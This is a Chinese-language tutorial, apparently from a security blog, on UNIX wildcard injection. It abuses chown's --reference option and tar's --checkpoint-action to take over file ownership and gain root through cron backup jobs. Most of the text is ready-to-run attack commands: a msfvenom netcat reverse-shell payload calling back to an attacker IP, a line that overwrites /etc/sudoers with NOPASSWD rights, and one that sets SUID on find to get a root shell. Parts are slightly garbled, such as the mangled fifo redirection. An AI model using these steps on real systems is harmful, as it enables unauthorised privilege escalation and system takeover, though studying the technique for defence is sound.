点图有惊喜哦~
在本文中,我们将为读者介绍一种古老的UNIX黑客技术——“通配符注入”。当目前为止,这仍然是一种非常“好使的”漏洞利用代码投递方法,遗憾的是,许多安全相关人员竟然从没有听说过。不过没关系,阅读本文之后,您一定会惊讶的发现,像tar和chown这样的UNIX工具,在黑客手里照样可以用来攻陷整个系统。
通配符
通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。在执行任何其他操作之前,通配符首先要经过shell进行解释。
下面是一些常见的通配符:
* 星号可以与文件名中的任意数量的字符匹配,包括0个字符。
? 问号用于匹配任意单个字符。
[ ] 括号内包括一组字符,其中任何一个字符都可以匹配该位置上的单个字符。
– []中的连字符表示字符范围。
~ 单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名,则表示该用户的主目录。
第一个示例
读者也许已经了解了通配符符号及其传统用法,但在这里,我们将呈现通配符不为人知的一面,所以,请仔细观察下面的操作步骤。
cd /Desktop
mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is wildcard Injection" >file2
echo "take help" > --help
正如你所看到的,我们在桌面上创建了一个新的目录“wild”,然后在echo命令的帮助下,创建了3个文件,并在每个文件中写入了1行内容。
之后,利用cat命令打开这3个文件,具体如下所示:
cat file1
cat file 2
cat --help
但是,前两个文件正常打开,显示的信息与上面写入的信息相同。但是cat命令无法读取写到–help文件内的信息。在打开-help文件时,cat不会显示“take help”,而是利用-help选项调用自己,这种类型的技巧称为Wildcard wildness。
通过Chown劫持文件所有者
同样,我们也会尝试在chown命令的帮助下做一些事情。正如我们所知,该命令是变更所有者(change owner)的缩写,在类Unix系统上用于修改文件和目录的所有权,并且,只能超级用户才有权限执行这些操作。假设我们的系统中有三种类型的用户。
超级用户(root)—— 执行管理级任务,例如运行chown命令。
非root用户1(raj) —— 执行普通作业,如创建文件。
非root用户2(aarti) —— 执行普通作业,如创建文件。
恶作剧用户(Ignite) —— 执行一些声名狼藉的任务,例如利用Chown劫持文件拥有者等。
在下图中,可以看到所有PHP文件都归用户raj所有。现在,当用户ignite发现所有PHP文件都属于raj后,他通过下面的命令在同一个目录中创建了两个PHP文件,以便为劫持文件的所有者做准备。
cd
ls -al
echo "" > my.php
echo > --reference=my.php
我们可以看到,大多数文件归用户raj所有,最后两个文件的拥有者是ignite,当超级用户通过通配符修改所有扩展名为PHP的文件的所有权时,所有文件的所有权将被ignite用户所劫持。
图中可以看到,root用户运行chown命令时将所有PHP文件的所有权授予了用户aarti,但是,最后所有PHP文件却自动归到用户ignite的名下。
chown -R aarti:aarti *.php
ls -al
知识点
如果您曾研究过chown所有的可选开关,就会发现以下选项。
–reference=RFILE (使用RFILE的所有者和组,而不是指定OWNER:GROUP)
在我们的例子中用户ignite执行过以下命令:
echo "" > my.php
echo > --reference=my.php
然后,root用户在改变所有权时,使用了通配符。问题是,chown命令行中使用的通配符,会将'-reference = .my.php'作为命令选项传递给命令行中的chown命令。
通过tar投送漏洞利用代码(第一阶段)
准备工作
下面,我们开始介绍如何利用通配符攻击系统。
Tar是一个非常常见的UNIX程序,可用于创建和提取档案。在它的帮助下,我们能够压缩任何目录的备份。例如,创建一个新目录,并赋予它所有权限,然后,创建一些文件。
mkdir html
chmod 777 html
cd html
touch index.html
touch raj
touch file.txt
现在,使用crontab安排一项任务:运行tar程序,每隔1分钟将/html目录备份到/var/backups中。
nano /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
接下来,通过执行以下命令来验证该任务是否正常工作。
cd /var/backup
ls
Tar通配符注入(第一种方法)
权限提升
启动攻击机器,然后进入目标系统,接着进入权限提升阶段。假设我通过ssh成功登录到受害者的机器并可以访问非root用户终端。然后,打开crontab查看是否有任何工作计划。
cat /etc/crontab
在这里,我们注意到目标机器每隔1分钟会调度一次tar归档程序,并且我们知道,cron作业是以root身份运行的。下面我们尝试通过通配符来攻击系统。
在新终端上使用msfvenom生成含有netcat反向shell的恶意代码,以便反向连接netcat,然后输入以下命令。
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R
复制生成的有效载荷并粘贴到受害者的shell中,具体命令如下所述。
nc -lvp 8888
现在,按照下面的介绍粘贴上面复制的有效载荷,并在受害者的tty shell中运行以下命令。
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
利用tar投送漏洞利用代码(第二阶段)
准备工作
我们知道,实现压缩备份的方法有多种,同时,用于权限提升的技术也很多。在这个阶段,在tar的帮助下,我们将对一个目录进行压缩备份。例如,新建一个待备份的目录,并授予其完整的权限,然后,再创建一些文件。
cd /tmp
mkdir data
cd data
echo "" > f1
echo "" > f2
echo "" > f3
ls
接下来,在其他目录中写入一个bash脚本,用来利用tar程序备份/tmp/data。
mkdir info
cd info
nano script.sh
chmod 777 script.sh
#!/bin/bash
cd /tmp/data
tar cf /backup/backup.tgz *
现在,使用crontab安排一项任务:运行tar程序,每隔1分钟将/html目录备份到/var/backups中。
nano /etc/crontab
*/1 * * * * root /info/script.sh
1分钟后,你会注意到backup.tgz文件已经出现在info目录中了。
Tar通配符注入
权限提升
启动攻击机器,然后进入目标系统,接着进入权限提升阶段。假设我通过ssh成功登录到受害者的机器并可以访问非root用户终端。然后,打开crontab查看是否有任何工作计划。
cat /etc/crontab
在这里,我们注意到目标机器每隔1分钟就会调度一个bash程序脚本,同时,我们也知道,cron作业是以root身份运行的。所以,攻击者可以利用tar通配符注入方法,读取位于script.sh内的程序。
现在,我们需要根据前面介绍的方法再次生成netcat反向shell有效载荷。
再次重复上面的步骤,具体如图所示。
然后,回到netcat shell以便接收受害者的反向连接,1分钟后,就能看到受害者的netcat会话了。
whoami
cd /root
pwd
因此,如果攻击对象是通过调度作业或bash脚本来使用tar程序的话,那么很容易被攻陷。
Tar通配符注入(第二种方法)
权限提升
一般来说,借助通配符注入攻击,攻击者希望获得系统的最高权限,因此,他会尝试在tar的帮助下,以root身份注入一些恶意代码。当然,获得root访问权限的方法也有多种,比如,我们可以采用下面介绍的技术来提升权限。
假设您能够以为非root用户访问受害者的计算机,然后就可以设法提升权限了,比如获取root访问权限,或者尝试通过添加sudoers文件为非root用户授予sudo权限。
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "" > "--checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
在上述命令的帮助下,我们试图为ignite用户授予root权限,并且尝试时间为1分钟。1分钟后,我们成功拥有了root帐户。
sudo -l
sudo bash
whoami
Tar通配符注入(第三种方法)
权限提升
实际上在tar注入的帮助下,特权升级的方式有很多,这里介绍的只是其中很少一部分。假设您在受害者机器上的权限是一个非root用户权限,为了提升权限,可以尝试为任意系统二进制文件启用SUID位,然后利用下面的命令来获取root访问权限。
echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" \;
root
find f1 -exec "/bin/sh" \;
id
whoami
WOOhOOO!!
希望上面介绍的技巧对大家的渗透测试工作能够有所帮助。
领取专属 10元无门槛券
私享最新 技术干货